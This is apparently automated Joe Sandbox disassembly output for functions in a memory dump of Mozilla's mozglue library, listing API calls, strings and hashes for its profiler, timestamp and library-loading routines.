??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

Thread , xrefs: 6C69F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
" attempted to re-register as ", xrefs: 6C69F858

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

<none>, xrefs: 6C69DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
